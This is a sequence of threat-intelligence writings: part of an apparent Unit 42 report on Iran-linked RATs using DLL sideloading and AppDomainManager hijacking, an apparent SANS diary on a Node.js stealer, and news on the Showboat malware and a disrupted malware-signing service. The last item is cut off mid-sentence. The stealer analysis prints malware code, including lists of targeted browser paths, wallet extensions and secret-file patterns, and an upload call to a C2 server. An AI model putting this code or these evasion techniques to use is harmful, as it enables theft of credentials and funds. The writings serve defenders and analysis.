renamed to update.exe UpdateConfig.xml is renamed to update.exe.config Updater.dll is copied as is UpdateChecker.dll (the MiniUpdate payload) is copied as is 3. Establishing persistence: With the files staged, InitInstall.dll leverages Windows Task Scheduler to ensure the payload survives reboots. It creates a scheduled task that is configured to trigger every day at 09:30 local time. Figure 9 shows the newly created scheduled task in a controlled test environment. After a final 30-second delay, the loader forces the scheduled task to run immediately, starting the execution of Stage 2 by running update.exe. When the scheduled task triggers the renamed setup binary (update.exe), the malware initiates a second AppDomainManager hijack to safely transition to the next stage. The threat actor uses the dropped update.exe.config file to reapply their native evasion directives, explicitly disabling ETW and strong name verification. This effectively hollows out the legitimate Microsoft process, allowing the next payload, Updater.dll, to load into an unmonitored memory space. Operating entirely within this blinded environment, Updater.dll acts as a gatekeeper. Before deploying the core RAT, it ensures the malware is executing within the intended infection chain by performing two strict environmental checks: Process verification: The DLL verifies that the current running process is named update.exe. Sandbox evasion: It checks if the parent process is svchost.exe. Because the malware relies on a scheduled task to launch, svchost is the natural parent. If a security analyst or automated sandbox executes the file directly, this check will fail and the malware will silently terminate. Once the environment is validated, the loader dynamically constructs the path to the final UpdateChecker.dll payload. It loads the module into memory and invokes the CheckForUpdates export, officially handing over control to the MiniUpdate RAT. Figure 10 shows the full flow of this MiniUpdate malware. The MiniUpdate payload operates via external C2s and a compromised digital signature. This variant is driven by a 16-opcode dispatcher, giving attackers extensive control over file operations, shell execution and process manipulation. This variant is designed to cycle through three different command servers in a specific order, checking each one for instructions: buisness-centeral.azurewebsites[.]net buisness-centeral-transportation.azurewebsites[.]net Buisness-centeral-transportation[.]com The following user agent is used in the communication: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Digital signature misuse: This payload is digitally signed under the name of a software company whose signature appears to have been stolen or impersonated. Operations security (OPSEC) shift (plaintext strings): MiniUpdate stores all API names, C2 domains and endpoints in plaintext within the .rdata section. This lack of string obfuscation suggests either a rushed deployment cycle or the involvement of a different development cell within the threat group. Conversely, the MiniJunk V2 samples featured heavy Mixed Boolean-Arithmetic and XOR obfuscation. The analyzed payload functions as a highly versatile backdoor, granting the attacker near-complete operational control over the compromised host's file system, processes and environment. Command polling occurs via GET requests to the /agent/poll endpoint. The internal command dispatcher processes a Base64-decoded binary format and supports 16 distinct opcodes. Key capabilities include: Arbitrary command execution: Executes shell commands via cmd.exe /c Dynamic code execution: Loads arbitrary DLLs directly into memory to run specific exported functions Process manipulation: Enumerates running processes and terminates them Data exfiltration: Uploads files to the C2 server, including support for chunked uploads Privilege escalation: Requests User Account Control (UAC) elevation Persistence: Creates a logon-triggered scheduled task named WindowsSecurityUpdate, with built-in capabilities to remove or reinstall this task We assess the second malware family identified in this campaign, MiniJunk V2, is an evolved version of the previously documented MiniJunk malware, featuring updated core functionalities. We correlate this malware family to Screening Serpens, based on the setup.exe file in the lure archive. As documented in Check Point reporting, the threat actor uses this exact legitimate binary to sideload their malicious payloads. Furthermore, we observed the same defense evasion tactics that Check Point's research outlined. Across all samples, the threat actor uses junk code and padding to artificially inflate the file size, successfully bypassing endpoint detection and scanning limits. On Feb. 17, 2026, a MiniJunk V2 sample appearing to target an entity in the Middle East surfaced shortly before the regional conflict. Our visibility indicated another campaign on March 27, 2026, that may have targeted an entity in the U.S. one month after the conflict began. This timeline strengthens our assessment that the payload is a recently upgraded version derived from previously documented campaigns, illustrating a continuous cycle of development and deployment. On Feb. 17, 2026, we identified evidence of a spear-phishing campaign targeting a professional working in the technology sector, based in a Middle Eastern country. Our analysis of the files in the malicious archive indicates that the preparation for this campaign and its malware development began in late 2025. The threat actor conducted careful reconnaissance, exploiting the target's active job-hunting footprint to engineer a customized lure. To establish legitimacy and coerce the target to execute their payload, the attackers shared a spoofed recruitment URL from a legitimate, well-known employment website. The threat actor initiated the attack by distributing a spoofed recruitment URL: hxxps[:]//[REDACTED][.]com/career/recreuitment/[REDACTED]. This endpoint currently returns an HTTP 404 Not Found status code, which we assess was a visual decoy intended to mislead the target. The URL’s specific misspelling (recreuitment) indicates an intentional, fraudulent fabrication, engineered with the knowledge that the link would remain non-functional by design. Analysis shows no indication that the impersonated organization’s infrastructure, systems or domains were compromised or breached. The group likely used this non-functional URL to prompt the target to take a work around solution into an offline portal. The target would then be redirected to a dedicated storage instance hosted within an attacker-managed ONLYOFFICE workspace. This infrastructure served as the delivery point for the primary payload, where the victim was induced to download a malicious archive disguised as legitimate recruitment materials The attack execution advances when the victim complies with the lure instructions, manually retrieving and downloading the weaponized Portal.zip archive. This archive contains a file named Setup.exe and three hidden files. Since the default Windows settings do not reveal hidden files, a user would not normally see these three files. Figure 11 shows the contents of the archive. One of the hidden files is a malicious DLL named uevmonitor.dll that contains the payload for this attack. If a user runs the Setup.exe file, the action initiates an infection chain under the context of the logged-in user. During our analysis of the MiniJunk V2 sample, we observed the threat actor using an older version of .config file to facilitate local sideloading. In this instance, the attackers authored a custom malicious DLL named uevmonitor and deployed it alongside a legitimate .NET executable. To successfully sideload their payload into the host process, they used the directive, forcing the application to prioritize its local working directory, which is a key prerequisite for DLL sideloading. The original MiniJunk configuration lacked operational security measures such as evasion features, making it susceptible to detection. The attackers updated their newer tool, MiniUpdate, with stealthy evasion techniques. Figure 12 shows the original .config file, which was used only for sideloading the uevmonitor.dll file. Serving as the primary loader, the uevmonitor.dll assembly initiates the infection chain once executed by the initial, legitimate Setup.exe host process. It silently drops two embedded payloads into the local AppData directory: SoftwareLicencing.exe: a renamed, legitimate Microsoft setup binary unbcl.dll: the core malicious payload To maintain its foothold, the loader creates a scheduled task for persistence named Synchronize OS and simultaneously displays a decoy system error to the user to mask this background activity. The sequence culminates when the scheduled task triggers SoftwareLicencing.exe, which specifically sideloads the malicious unbcl.dll into its trusted memory space. This action successfully deploys the heavily obfuscated RAT, granting the attacker operational control via externally-hosted C2 infrastructure. Figure 13 demonstrates the entire flow to deploy the malicious RAT, including AppDomainManager hijacking and two DLL sideloading instances. During execution, the malware dynamically decrypts data within its code to retrieve five C2 domains: licencemanagers.azurewebsites[.]net LicenceSupporting.azurewebsites[.]net PeerDistSvcManagers.azurewebsites[.]net ThemesManagers.azurewebsites[.]net ThemesProviderManagers.azurewebsites[.]net These domains mimic legitimate Windows service names, attempting to blend in with network communication. Simultaneously, the malware uses Mixed Boolean-Arithmetic decryption to construct a hard-coded User-Agent string. The resulting string mimics legitimate Microsoft Edge browser traffic: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0 Behavioral analysis confirms that the malware interacts with specific API endpoints on the C2 servers. The endpoints implemented are: /api/app/check: The initial beacon, handling victim registration and establishing the session. /api/app/update: Retrieves execution commands and downloads subsequent payloads. /api/app/comment: Exfiltrates data and sends operational status reports to the threat actor. The malware’s .rdata section is packed with thousands of junk strings, including Java and Python tracebacks, SQL queries and .NET exceptions. These strings repeat every 0x1E50 bytes. This repetition serves two purposes: Flooding string extraction tools with irrelevant data Inflating the binary size to around 12 MB in an attempt to bypass file-size limits on certain automated sandboxes The sideloading chain and malicious executable triggered Cortex XDR to flag this threat as high risk. It also prevented the threat from executing before any user interaction could take place. Figure 14 shows this detection and prevention. While tracking the unique SoftwareLicencing.exe file, we discovered a newly developed malware variant that may have been deployed against a U.S.-based target. First submitted to VirusTotal on March 27, 2026, the malware is delivered within an archive named Portable platform.zip. This malware sample appears to have been actively developed and used during the recent regional conflict. This latest iteration features a complex, multi-stage execution chain designed to evade detection. It relies on a social-engineering decoy graphical user interface (GUI) to deceive the target while quietly establishing a heavily obfuscated C2 connection. The infection begins with the Portable platform.zip lure archive, hosted on a unique ONLYOFFICE DocSpace: hxxps[:]//docspace-y4cumb.onlyoffice[.]com/storage/files/root/folder_3602000/file_3601577/v1/content.zip[...] Figure 15 shows the archive content. Figure 16 shows the file folder content. Upon extraction, the archive initiates a DLL sideloading sequence. The execution flow leverages the legitimate Setup.exe, which subsequently loads two malicious components: Unbcl.dll: a social-engineering decoy Connection.dll: the primary payload, a RAT The execution of Unbcl.dll creates a background thread displaying a GUI to the target. The window is titled “Meeting Room” and prompts the victim to provide a “Meeting Room URL.” This provides a plausible reason for the execution, tricking the victim into believing they are joining a legitimate web conference while the primary C2 beacon operates silently in the background. Figure 17 shows the decoy window. When the Connection.dll RAT runs, it follows a strict execution sequence: It performs a hard-coded date-based validity check to ensure that the RAT runs on any date that is after March 27, 2026, 13:30:00 UTC. This validity check serves as an execution trigger that potentially enables the threat actor to avoid sandbox analysis, bypass initial security screenings and maintain a low profile until the predetermined operational phase begins. If successful, the RAT spawns the main worker thread, constructs a file path using its internal name (SystemtUpdateTaskMachine.exe) and performs an instance check to ensure it is only running once. The Connection.dll payload is another RAT with multiple capabilities and defense evasion mechanisms. Once in the main loop, the malware XOR-decrypts (using a single-byte key, 0x8A) data within its code to acquire a Chrome-based User-Agent string and three URLs using Azure-hosted C2 domains. These domains impersonate global companies operating within the technology, cybersecurity and artificial intelligence sectors: hxxps[:]//NanoMatrix.azurewebsites[.]net hxxps[:]//QuantumWeave.azurewebsites[.]net hxxps[:]//ElementShift.azurewebsites[.]net The malware beacons to the primary C2 base URL via an HTTP POST request. Depending on the parsed response, the malware will execute chunked uploads or downloads via specific transfer URLs or create additional threads for command execution. The continuous tracking of the Iran-nexus APT group, Screening Serpens, reveals a persistent threat group that has remained active in recent months. The group has increased its operations since the regional conflict that started in February 2026, deploying two families of RAT variants across entities in up to five different countries. A defining characteristic of these recent campaigns is the deep personalization of the attackers' lures. By leveraging tailored social engineering tactics, including fake job requisitions and spoofed video conferencing meeting invitations, the attackers lure victims into initiating the infection chain, thereby exposing their organizations to further exploitation. We observed a significant evolution in the group’s tradecraft: For the first time, Screening Serpens has fused its standard DLL sideloading techniques with advanced AppDomainManager hijacking. By weaponizing the .NET initialization process and manipulating legitimate configuration files, the group can now preemptively bypass traditional security telemetry and execute payloads before most standard endpoint defenses are fully initialized. This tactic effectively allows attackers to establish persistence and maintain full operational control over the exfiltration of sensitive data. Instead of relying solely on known malware indicators, defenders should ensure that EDR tools are fine-tuned to detect DLL sideloading and AppDomainManager hijacking. Treating these specific execution techniques as high risk will help organizations to identify behavioral anomalies associated with trusted, signed binaries loading untrusted modules. As of April 2026, Screening Serpens activity shows no signs of slowing down and has continued to orchestrate sustained, adaptive global cyber campaigns. Organizations may expect further attempts in the near term and should harden their defensive posture to prepare for potential compromise attempts. By leveraging its cutting-edge ecosystem, Palo Alto Networks customers are better protected from the threats discussed above through these industry-leading products: The Advanced WildFire machine-learning models and analysis techniques have been updated to protect against the indicators shared in this research. Advanced WildFire is powered by Precision AI. Advanced URL Filtering and Advanced DNS Security identify and block known domains and URLs associated with this activity in real time. Cortex XDR and XSIAM help to prevent the threats described in this article, by employing the Malware Prevention Engine. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection and the Local Analysis module, to prevent both known and unknown malware from causing harm to endpoints — all in a single interface. Cortex Cloud customers are better protected against operations that target cloud environments through the proper placement of Cortex Cloud XDR endpoint agent and serverless agents. Screening Serpens’ use of cloud infrastructure to host command and control endpoints points to cloud architecture functionality. Cortex Cloud is designed to protect a cloud’s posture and runtime operations against the threats outlined here. It also helps detect and prevent malicious operations, configuration alterations and exploitation within cloud environments. Cortex AgentiX Agentic Assistant streamlined our investigation by enabling the team to query the data using natural language, providing deeper context and insights, and suggesting clear recommendations on what we should do next. Figure 18 shows the AgentiX interface when querying for malicious activity in a tenant. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Domains: licencemanagers.azurewebsites[.]net LicenceSupporting.azurewebsites[.]net PeerDistSvcManagers.azurewebsites[.]net ThemesManagers.azurewebsites[.]net ThemesProviderManagers.azurewebsites[.]net docspace-y4cumb.onlyoffice[.]com NanoMatrix.azurewebsites[.]net QuantumWeave.azurewebsites[.]net ElementShift.azurewebsites[.]net business-startup[.]org business-startup.azurewebsites[.]net Businessstartup.azurewebsites[.]net app[redacted][.]live buisness-centeral.azurewebsites[.]net buisness-centeral-transportation.azurewebsites[.]net Buisness-centeral-transportation[.]com docspace-twpf0e.onlyoffice[.]com PremierHealthAdvisory[.]com PremierHealthAdvisory.azurewebsites[.]net Premier-HealthAdvisory.azurewebsites[.]net Ramiltonsfinance[.]com Ramiltonsfinance.azurewebsites[.]neti Ramiltons-finance.azurewebsites[.]net URLs: hxxps[:]//docspace-y4cumb.onlyoffice[.]com/storage/files/root/folder_3602000/file_3601577/v1/content.zip[...] hxxps[:]//app[redacted][.]live/meeting/edcdba624ddb43c2a1dcf334aa493068 hxxps[:]//docspace-twpf0e.onlyoffice[.]com/storage/files/root/folder_3765000/file_3764519/v1/content.zip?filename=remote.[REDACTED].zip hxxps[:]//2117.filemail[.]com/api/file/get?filekey=T0EnWQ6NugHkW_kLfDxPBEw_um6NSkg9ZwNRQ_5lrKrLLUo35pV8m3TKv1LqF3zZzdUm SHA256 Hashes: MiniUpdate: US Campaign 44f4f7aca7f1d9bfdaf7b3736934cbe19f851a707662f8f0b0c49b383e054250 - Initial archive file 332ba2f0297dfb1599adecc3e9067893e7cf243aa23aedce4906a4c480574c17 - Hiring Portal.zip 0db36a04d304ad96f9e6f97b531934594cd95a5cea9ff2c9af249201089dc864 - UpdateChecker.dll MiniUpdate: Israel Campaign 38bd137c672bd58d08c4f0502f993a6561e2c3411773d1ae57ee0151a0a9d11d - Initial archive file d4a7e9f107fe40c1a5d0139c6c6e25bf6bf57f61feff090bee28f476bb3cc3c2 - UpdateChecker.dll MiniUpdate: UAE Campaign bc3b44154518c5794ce639108e7b9c5fecb0c189607a26de1aaed518d890c7ad - UpdateChecker.dll MiniUpdate: Middle Eastern Campaign 74882085db2088356ed7f72f01e0404a0a98cda88ef56fb15ce74c1f36b26d27 bc3b44154518c5794ce639108e7b9c5fecb0c189607a26de1aaed518d890c7ad - UpdateChecker.dll MiniJunk V2: Middle Eastern Campaign 9cf029daca89523d917dafed0568d11d00e45ec96b5b90b4a1f7fd4018c7da84 - uevmonitor.dll B19e06da580cf91691eda066ac9ee4b09c6e5dc26c367af12660fe1f9306eec4 - unbcl.dll MiniJunk V2: U.S. Campaign 8808c794c24367438f183e4be941876f1d3ecd0c8d2eb43b10d2380841d2283b - Portable Platform.zip 43dc62cef52ebdd69e79f10015b3e13890f26c058325c0ff139c70f8d8eadcfa - Connection.dll 9e4a658e6d831c9e9bdfe11884a75b7c64812ed0a80e8495ddf6b316505acac1 - unbcl.dll Nimbus Manticore Deploys New Malware Targeting Europe – Check Point Iranian “Dream Job” Campaign – ClearSky Frontline Intelligence: Analysis of UNC1549 TTPs, Custom Tools, and Malware Targeting the Aerospace and Defense Ecosystem – Google Cloud Blog When Cats Fly: Suspected Iranian Threat Actor UNC1549 Targets Israeli and Middle East Aerospace and Defense Sectors – Google Cloud Blog Smoke Sandstorm: Nation-State Actors – Microsoft Security Insider Global Incident Response Report 2026: Screening Serpens – Unit 42 | Palo Alto Networks

I found a Node.js stealer that looked pretty well obfuscated. The file was not running out-of-the-box because it was uploaded on VT as “extracted-decoded.js” (and reformated). The SHA256 is 049300aa5dd774d6c984779a0570f59610399c71864b5d5c2605906db46ddeb9[1]. It did not run properly in a sandbox so only a static analysis was performed. The key point is that it is a cross-platform stealer targeting Windows (WSL), macOS and Linux. Good news for us, only the “wrapper” that is responsible for the execution is obfuscated but the malicious payloads are embedded in plain text! The obfuscation technique looks typical to the code produced by obfuscation.io[2]. We are facing a very long array of small Base64-encoded strings: function c() { const t8 = ["W54gaGuj", "pSkByhzh", "WRT/WPThyG", "CSomW6OXWQG", "WO7dIuVcTaq", "AYb2Axm", "WPT3WPJdLmkS", "WPTNeuWa", "hCkIW64XW7C", "W47cM0tcObS", "WPKbWOKfW74", "W6JdNCkDWRe+", "W53dLuxcP3u", "WRTUc8ocW4W", "ysiSica", "wCo4oser", "tSkAW5v3ca", "W54XaKvz", "W7nTe8ooW7a", "W4BcSSo/FLi", "W6HvW7i+FG", "W5iBabul", "F8oQW4JcVCku", "W5ldPCkKbcy", "W6ddQcdcNq0", "Aw5Niha", "Dcy9W5dcVq", "C8o/eqBcHW", "id0GBMu", "W5FcISkyW4FcJG", "WR1ieSotW4y", "wSoqq8o1da", "B3jKvMe", "icDmB2m", "uSkgW4qZiq", "WO7cMSkoW7zX", "W5HxW6OnW7S", "W4SBWRHwW7e", "zwa3W5dcOG", "W4PCW79DW6a", "omkrngXB", "xmkVCWeJ", "nCoEWQ1WWR0", "WRNcH3vwCG", "W7lcTSoUCq8", "rM9sWR/cPW", "W4ZcKbxcUIC", "DgGGDg8", "WR7dK8kpWROP", "fmo7j1et", "id09psa", "vSo4Cx4n", "iIWImJq", "WRrixrpcJq", "u29JA2u", "ve9swsW", "WRBdHH3dUa0", "W5RcKLpdTuW", "u3ruyKK", "WOVcLSowW4RcPG", "BwuGzgK", "ugf0AdO", "W63cJ3Kmaa", "WPVdRCk1bti", "DwrVige", "C8k2WQxcTh0", "igvUDhi", "tmkSl1Ld", "qqvnW4pcMa", "WPNdGahdO0i", "nmkQWRNdPNa", "WQD8qmodW6G", "W4NdK8oBW5pdQq", "quFcOmoQWRe", "Cbyarmkq", "tmkoWQHU", "ewb8W4eF", "vcCOWOPc", "WRtdQc3dIrW", "WQXIrSoqW5q", "kcDqCM8", "imkUWQtcPxC", "bmooW7q6hW", ... Other small functions are low-level decoders that perform a lot of arithmetic operations. There are three main payloads that all have their own purpose: The first one is a browser credential stealer. It supports: Chrome, Brave, Edge, Opera, Opera GX, Vivaldi, Kiwi, Yandex, Iridium, Comodo Dragon, SRWare Iron, Chromium, AVG Browser. const localAppDataBase = /mnt/c/Users/${windowsUsername}/AppData/Local; const browserRelativePaths = [ "Google/Chrome/User Data", // Chrome "BraveSoftware/Brave-Browser/User Data", // Brave "AVG Browser/User Data", // AVG Browser "Microsoft/Edge/User Data", // Edge "Opera Software/Opera Stable", // Opera "Opera Software/Opera GX", // Opera GX "Vivaldi/User Data", // Vivaldi "Kiwi Browser/User Data", // Kiwi "Yandex/YandexBrowser/User Data", // Yandex "Iridium/User Data", // Iridium "Comodo/Dragon/User Data", // Comodo "SRWare Iron/User Data", // SRWare "Chromium/User Data" // Chromium\n ]; The malware also looks for interesting wallet Chrome extensions: const wps = [ "nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "acmacodkjbdgmoleebolmdjonilkdbch", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "egjidjbpglichdcondbcbdnbeeppgdph", "nphplpgoakhhjchkkhmiggakijnkhfnd", "omaabbefbmiijedngplfjmnooppbclkk", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "aflkmhkiijdbfcmhplgifokgdeclgpoi", "agoakfejjabomempkjlepdflaleeobhb", "aholpfdialjgjfhomihkjbmgjidlcdno", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "cgbogdmdefihhljhfeffkljbghamglni", "dmkamcknogkgcdfhhbddcghachkejeap", "dlcobpjiigpikoobohmabehhmhfoodbb", "efbglgofoippbgcjepnhiblaibcnclgk", "ejjladinnckdgjemekebdpeokbikhfci", "fhbohimaelbohpjbbldcngcnapndodjp", "fhkbkphfeanlhnlffkpologfoccekhic", "fhmfendgdocmcbmfikdcogofphimnkno", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "gjnckgkfmgmibbkoficdidcljeaaaheg", "hifafgmccdpekplomjjkcfgodnhcellj", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "hnfanknocfeofbddgcijnmhnfnkdnaad", "jiidiaalihmmhddjgbnbgdfflelocpak", "jblndlipeogpafnldhgmapagcccfchpi", "jmbkjchcobfffnmjboflnchcbljiljdk", "jnjpmcgfcfeffkfgcnjefkbkgcpnkpab", "kpkmkbkoifcfpapmleipncofdbjdpice", "khpkpbbcccdmmclmpigdgddabeilkdpd", "ldinpeekobnhjjdofggfgjlcehhmanaj", "lgmpcpglpngdoalbgeoldeajfclnhafa", "mcohilncbfahbmgdjkbpemcciiolgcge", "mopnmbcafieddcagagdcbnhejhlodfdd", "nkklfkfpelhghbidbnpdfhblphpfjmbo", "penjlddjkjgpnkllboccdgccekpkcbin", "ppbibelpcjmhbdihakflkdcoccbgbkpo" ] Data is exfiltrated to port 8085. The second one is a recursive file exfiltration scanner. It scans the victim’s filesystem and search for sensitive files by name/extension. const SENSITIVE_FILE_PATTERNS = [ ".keystore", "phone", "database","bank", "financ",".env","env","environment","config","configuration","configure",".conf", ".cfg",".ini",".properties",".yaml",".yml",".toml","metamask","phantom","bitcoin","ethereum","eth","trust", "wallet","coinbase","exodus","ledger","trezor","keystore","keyring","keychain","atomic","electrum","mycelium", "blockchain","bravewallet","rabby","coin98","backpack","core","mathwallet","solflare","glow","keplr","argent", "martian","petra","binance","okx","crypto","cryptocurrency","hardhat","truffle","private","privatekey", "private_key", "private-key","privkey","priv_key","key","keypair","key_pair","keypair",".pem",".p12",".pfx",".jks","keystore",".keys", "keys",".p8",".p7b",".p7c",".cer",".crt",".cert","cert",".der","id_rsa","id_dsa","id_ecdsa","id_ed25519",".pub", ".priv","seed","seedphrase","seed_phrase","seed-phrase","mnemonic","phrase","passphrase","pass_phrase", "pass-phrase","recovery","recoveryphrase","recovery_phrase","recovery-phrase","backup","backupphrase","backup_phrase", "backup-phrase","12words","12_words","12words","24words","24_words","24words","bip39","bip44","password","passwd","pass","pwd", "credential","credentials","auth","authentication","token","access_token","refresh_token","api_key","apikey","api-key", "apisecret","api_secret","api-secret","secret","secrets","secretkey","secret_key","secret-key","masterkey","master_key", "master-key","masterpassword","master_password","master-password","account","accounts","profile","profiles","user", "username","user_name","user-name","login","signin","sign_in","sign-in","address","addresses","tx","transaction","transactions", ".db",".sqlite",".sqlite3",".sql",".mdb",".accdb",".dbf",".doc",".docx",".pdf",".md",".markdown",".rtf",".odt", ".xls",".xlsx",".txt","text","note","notes","memo","memos","screenshot","screen","snapshot","capture",".png",".jpg", ".jpeg",".bmp",".json",".js",".ts",".jsx",".tsx",".csv",".xml",".lock",".log",".bak","backup",".old",".orig",".save", ????? ".swp",".tmp","tmp","my","personal","vault","safe","secure","lock","encrypt","decrypt","signature","sign","certificate", "cert","identity","session","cookie" ]; Interesting files are exfiltrated via port 8086. Finally, the third module implements a WebSocket connection to the C2 server (port 8087) with reverse-shell capabilities. Upon the first connection the following info is sent to the C2 via a POST reques to hxxp://216[.]126[.]225[.]243:8087/api/notify { "ukey": 504, "t": 5, "host": "504_ ", "os": " ", "username": " ", "timestamp": } All communications (on different ports) are made with the IP address 216.126.225.243. This IP address is known as a DPRK OtterCookie C2[3]. Note that if the execution module is pretty well obfuscated, the key used to encrypt data is available in plain text: const X = crypto.createHmac("sha256", "SuperStr0ngSecret@)@^").update(l).digest("hex"); Also, all HTTP communications are performed via the Axios[4] NPM package: const response = await axios.post(" + "hxxp://216[.]126[.]225[.]243:8086/upload" + ", form, { ... [1] https://www.virustotal.com/gui/file/049300aa5dd774d6c984779a0570f59610399c71864b5d5c2605906db46ddeb9 [2] https://obfuscator.io [3] https://socket.dev/blog/north-korea-contagious-interview-npm-attacks [4] https://github.com/axios/axios Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key

Cybersecurity researchers have disclosed details of a new Linux malware dubbed Showboat that has been put to use in a campaign targeting a telecommunications provider in the Middle East since at least mid-2022. "Showboat is a modular post-exploitation framework designed for Linux systems, capable of spawning a remote shell, transferring files, and functioning as a SOCKS5 proxy," Lumen Technologies Black Lotus Labs said in a report shared with The Hacker News. It's assessed that the malware has been employed by at least one, and possibly more, threat activity clusters affiliated with China, with correlations identified between command-and-control (C2) nodes and IP addresses geolocated to Chengdu, the capital city of the Chinese province of Sichuan. One such threat actor is Calypso (aka Bronze Medley and Red Lamassu), which is known to be active since at least September 2016, targeting state institutions in Brazil, India, Kazakhstan, Russia, Thailand, and Turkey. It was first publicly documented by Positive Technologies in October 2019. Some of the key tools in its arsenal include PlugX and backdoors like WhiteBird and BYEBY, the latter of which is part of a broader cluster tracked by ESET under the moniker Mikroceen. The use of Mikroceen has been attributed to a closer known as SixLittleMonkeys, which, in turn, shares tactical overlaps with another China-linked group referred to as Webworm. This puts Showboat along with other shared frameworks like PlugX, ShadowPad, and NosyDoor that have been used by multiple China-nexus groups. This "resource pooling" reinforces the presence of a digital quartermaster that state-sponsored threat actors from China have relied on to supply them with necessary tooling. The starting point of the investigation was an ELF binary that was uploaded to VirusTotal in May 2025, with the malware scanning platform classifying it as a sophisticated Linux backdoor with rootkit-like capabilities. Kaspersky is tracking the artifact as EvaRAT. Black Lotus Labs security researcher Danny Adamitis told The Hacker News that the exact initial access vector used to deliver the malware is currently unknown. However, in the past, Calypso has been observed leveraging an ASPX web shell after exploiting a flaw or breaking into a default account used for remote access. The adversary was also among the earliest China-aligned groups to weaponize CVE-2021-26855, a security vulnerability in Microsoft Exchange Server that serves as the first step in an exploit chain called ProxyLogon. The malware is designed to contact a C2 server, gather system information, and transmit the information back to the server in a PNG field as an encrypted and Base64-encoded string. It's also equipped to upload and download files to and from the host machine, conceal its presence from the process list, and manage C2 servers. To hide itself on the host machine, Showboat retrieves a code snippet hosted on Pastebin. The paste was created on January 11, 2022. Furthermore, the malware can scan for other devices and connect to them via the SOCKS5 proxy. This suggests that the primary purpose of Showboat is to establish a foothold on compromised systems. "This would allow the attackers to interact with machines that are not exposed publicly to the internet and only accessible via the LAN," Black Lotus Labs said. Further infrastructure analysis has uncovered two victims: an Afghanistan-based internet service provider (ISP) and another unknown entity located in Azerbaijan. A secondary C2 cluster using similar X.509 certificates as the original C2 server has uncovered two possible compromises in the U.S. and one in Ukraine. "While some threat actors are increasingly using stealthy, native system tools to evade detection, others still deploy persistent malware implants," Adamitis said. "The presence of such threats should be taken as an early warning sign, indicating the potential for broader and more serious security issues within affected networks." Also put to use by Calypso in the campaign targeting the telecommunications provider in Afghanistan is a fully featured Windows implant codenamed JFMBackdoor that's delivered via DLL side-loading. The attack chain involves a batch script that's used to launch a legitimate executable that then loads the rogue DLL. JFMBackdoor supports a wide range of capabilities, including remote shell access, file operations, network proxying, screenshot capture, and self-removal. "The targeting of Afghanistan and its telecommunications sector aligns with what we assess to almost certainly be Red Lamassu's wider operational goals and objectives," PricewaterhouseCoopers (PwC) said in a coordinated report.

Microsoft says it has disrupted a malware-signing-as-a-service (MSaaS) operation that abused the company's Artifact Signing service to generate fraudulent code-signing certificates used by ransomware gangs and other cybercriminals. According to a report published today by Microsoft Threat Intelligence, the threat actor tracked as Fox Tempest used the Microsoft Artifact Signing platform to create short-lived certificates that allowed malware to be digitally signed and trusted as legitimate software by both users and operating systems. Azure Artifact Signing (previously Trusted Signing) is a cloud-based service launched by Microsoft in 2024 that allows developers to easily have their programs signed by Microsoft. Microsoft says the financially motivated threat actor created more than 1,000 certificates and hundreds of Azure tenants and subscriptions as part of the operation. Today, Microsoft also unsealed a legal case in the U.S. District Court for the Southern District of New York targeting the cybercrime operation. "Fox Tempest has created over a thousand certificates and established hundreds of Azure tenants and subscriptions to support its operations. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest," Microsoft said. "In May 2026, Microsoft's Digital Crimes Unit (DCU), with support from industry partners, disrupted Fox Tempest's MSaaS offering, targeting the infrastructure and access model that enables its broader criminal use." Microsoft says it seized the signspace[.]cloud domain used by the service, took hundreds of virtual machines tied to the operation offline, and blocked access to infrastructure hosting the cybercrime platform. The site now redirects visitors to a Microsoft-operated site that explains that the company seized the domain as part of a lawsuit against the malware-signing-as-a-service scheme. The operation was linked to numerous malware and ransomware campaigns involving Oyster, Lumma Stealer, Vidar, as well as the Rhysida, Akira, INC, Qilin, and BlackByte ransomware operations. Microsoft says threat actors, including Vanilla Tempest (INC Ransomware members), Storm-0501, Storm-2561, and Storm-0249, used the signed malware in their attacks. Microsoft also named the Vanilla Tempest ransomware operation as a co-conspirator in the legal action, stating that the group used the service to distribute malware and ransomware in attacks targeting organizations worldwide. Microsoft says the MaaS was operated through signspace[.]cloud and allowed cybercriminal customers to upload malicious files for code-signing using fraudulently obtained certificates. These signed malware files were then used by threat actors to impersonate legitimate software such as Microsoft Teams, AnyDesk, PuTTY, and Webex, and were used to add legitimacy to the downloads. "When unsuspecting victims executed the falsely named Microsoft Teams installer files, those files delivered a malicious loader, which in turn installed the fraudulently signed Oyster malware and ultimately deployed Rhysida ransomware," reads Microsoft's complaint. "Because the Oyster malware was signed by a certificate from Microsoft's Artifact Signing service, the Windows operating system initially recognized the malware as legitimate software, when it would otherwise be flagged as suspicious or blocked entirely by security controls in the Windows operating system." Microsoft believes the operators likely used stolen identities from the United States and Canada to pass Artifact Signing identity verification requirements and obtain the signing credentials. When obtaining certificates, the threat actors reportedly used only short-lived certificates valid for 72 hours to reduce the risk of detection. BleepingComputer previously reported in March 2025 on threat actors abusing Microsoft's Trusted Signing service to sign malware used in a Crazy Evil Traffers crypto-theft campaign [VirusTotal] and a Lumma Stealer [VirusTotal] campaign. While those malware were also signed with 3-day certificates, it is unclear if they were signed by the Fox 